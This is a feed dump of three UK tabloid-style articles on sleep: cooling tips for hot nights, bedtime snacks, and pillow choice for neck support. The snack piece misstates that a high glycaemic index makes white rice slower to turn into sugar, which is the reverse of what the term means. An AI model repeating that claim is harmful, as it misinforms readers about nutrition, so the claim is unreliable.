But, about a third of people in the UK admit to not getting enough sleep.

If you struggle to fall asleep, there are some tips and tricks that could help you to get a better night’s rest.

Almost half of people in the UK wake up in the night because they’re too hot, it’s been revealed.

But, you can beat the heatwave heat, no matter how warm it is, by making small changes to your bedtime routine.

These bed time tips could help you to fall asleep fast.

Fan

A lot of people use a fan in the bedroom to cool themselves down, and to hopefully help them fall asleep.

But, you could improve your chances of a good night’s rest by putting ice cubes in front of the fan, according to herbal remedy Kalms Night.

“Try popping a bowl of ice cubes in front of a fan – it will pick up the cold moisture as the ice melts, and circulate that instead.

“The cool air will leave you feeling less agitated, and make it easier to drop off.”

Curtains

While you’ll probably be closing your curtains or blinds at night to keep your room dark, you may be missing a trick during the day.

Keeping you shutters closed during the day will prevent the room becoming an oven, it added.

“Keep blinds, shutters and curtains closed,” said Kalms Night.

“A room that has been drenched in sunlight all day can become an oven during the summertime.

“Blocking out the sunshine and heat results in a cooler atmosphere when it’s time for bed.”

Bedding

You could help yourself to fall asleep in hot weather by putting your bed sheets in a fridge or freezer for 10 minutes before bed.

If you’re struggling for space, just cool your pillow case in the fridge instead.

But, make sure your fridge is clean before putting any sheets in there.

“When temperatures soar, try popping your sheets and pillowcases into bags and putting them in a fridge before bedtime.”

Pyjamas

You may be tempted to take off your PJs if you’re really hot in bed.

But, it may actually be more beneficial to change into cotton pyjamas, experts have claimed.

They promote air flow around the outside of the body, helping to keep you cool.

“Make sure your pyjamas and bed linen are made from cotton, a lightweight and breathable fabric which promotes air flow,” said Kalms Night.

Dinnertime

Eating a large meal can often make people feel sleepy and ready for a nap, but you should avoid eating too close to your bedtime.

Eating large meals could actually increase your body temperature, and prevent you from getting a restful night’s sleep.

“Eating a large meal right before bedtime kicks your metabolic system into digesting calories – and expended energy raises your core body temperature.

“Aim to leave at least two hours between eating and sleeping.”

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]]> https://briefnews.eu/how-to-sleep-five-ways-to-fall-asleep-fast-in-hot-weather/feed/ 0 How to sleep: Six of the best bedtime snacks to help you fall asleep fast https://briefnews.eu/how-to-sleep-six-of-the-best-bedtime-snacks-to-help-you-fall-asleep-fast/ https://briefnews.eu/how-to-sleep-six-of-the-best-bedtime-snacks-to-help-you-fall-asleep-fast/#respond Fri, 01 Jun 2018 20:33:55 +0000 http://briefnews.eu/how-to-sleep-six-of-the-best-bedtime-snacks-to-help-you-fall-asleep-fast/

The body needs enough sleep to help it function properly, according to the NHS.

Not getting enough sleep is bad for your health; mentally and physically.

Regular poor sleep increases your risk of obesity, heart disease and diabetes.

You’re also more likely to develop depression and anxiety if you don’t get enough rest.

But, you could get a better night’s rest by adding these five food and drinks to your bedtime diet.

Kiwi fruit

Eating kiwi fruit before bed could help you to fall asleep, and wake up feeling refreshed, according to Dr Brianna Elliott.

Snack on two kiwis before getting into bed, as you could fall asleep 42 per cent faster, she said.

“The sleep-promoting effects of kiwis are thought to be due to their content of serotonin, a brain chemical that helps regulate your sleep cycle,” said Elliott.

“It has also been suggested that the antioxidants in kiwis, such as vitamin C and carotenoids, may be partly responsible for their sleep-promoting effects. This is thought to be due to their role in reducing inflammation.”

Almonds

Almonds are a great source of magnesium.

Magnesium could promote sleep by reducing inflammation, and reducing levels of the stress hormone cortisol.

“If you want to eat almonds before bed to determine if they impact your sleep quality, a one ounce [28g] serving, or about a handful, should be adequate,” said Elliott.

Chamomile tea

“Chamomile tea is a popular herbal tea that may offer a variety of health benefits,” she said.

“Specifically, chamomile tea contains apigenin, an antioxidant that binds to certain receptors in your brain that may promote sleepiness and reduce insomnia.”

Drinking chamomile tea for two weeks before bed could improve your sleep quality.

White rice

White rice has a high glycaemic index, which means it takes longer for the body to break it down into sugar.

High glycaemic index foods could improve your sleep quality.

Try eating white rice an hour before bedtime to get a better night’s sleep.

“Despite the potential role that eating white rice may have in promoting sleep, it is best consumed in moderation due to its lack of fibre and nutrients,” said Elliot.

Tart cherry juice

“Tart cherry juice is also known to promote sleepiness, and it has even been studied for its role in relieving insomnia,” she said.

“For these reasons, drinking tart cherry juice before bed may improve your sleep quality.

“The sleep-promoting effects of tart cherry juice are due to its high content of melatonin, which is a hormone that regulates your internal clock and signals your body to prepare for sleep.”

Fatty fish

Fatty fish includes salmon, tuna, trout and mackerel.

They’re all rich in vitamin D, as well as omega-3 fatty acids.

The combination of both vitamin D and omega-3s could enhance sleep quality, said Elliott.

The nutrients help to increase the production of serotonin, which is a sleep-promoting brain chemical.

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]]> https://briefnews.eu/how-to-sleep-six-of-the-best-bedtime-snacks-to-help-you-fall-asleep-fast/feed/ 0 How to sleep – fall asleep fast by making this quick pillow swap https://briefnews.eu/how-to-sleep-fall-asleep-fast-by-making-this-quick-pillow-swap/ https://briefnews.eu/how-to-sleep-fall-asleep-fast-by-making-this-quick-pillow-swap/#respond Thu, 31 May 2018 20:42:35 +0000 http://briefnews.eu/how-to-sleep-fall-asleep-fast-by-making-this-quick-pillow-swap/

The body needs enough sleep to help it function properly, according to the NHS.

Not getting enough sleep is bad for your health; mentally and physically.

Regular poor sleep increases your risk of obesity, heart disease and diabetes.

You’re also more likely to develop depression and anxiety if you don’t get enough rest.

You could get a better night’s rest, and lower your risk of neck pain, by making some changes to your pillow, it’s been revealed.

You could be waking up in the night because your pillow is causing a sore neck or shoulder pain, according to Harvard Medical School.

It may be due to your pillow being too high, and you’ll be better off with a softer pillow.

It’s best to find a pillow that supports the natural curvature of your spine.

Alternatively, try using a feather pillow, which easily changes to the shape of your neck.

A pillow that’s too high or too stiff could keep the neck flexed overnight, and can wake you up with shoulder pain.

“If you sleep on your back, choose a rounded pillow to support the natural curve of your neck, with a flatter pillow cushioning your head,” said Harvard Medical School.

“This can be achieved by tucking a small neck roll into the pillowcase of a flatter, softer pillow, or by using a special pillow that has a built-in neck support with an indentation for the head to rest in.

“If you sleep on your side, keep your spine straight by using a pillow that is higher under your neck than your head.

“Another option is a traditionally shaped pillow with ‘memory foam’ that conforms to the contour of your head and neck.

“Some cervical pillows are also made with memory foam.”

About a third of people in the UK admit to not getting enough sleep, according to the NHS.

If you struggle to fall asleep, try listening to calming music, experts have also revealed.

A regular bed time programmes your body to winding down at certain times of the day, which could help you to get to sleep.

A good sleep environment is crucial for a good night’s rest, it added.

Make sure your bedroom is dark, and is about 21 degrees Celsius.

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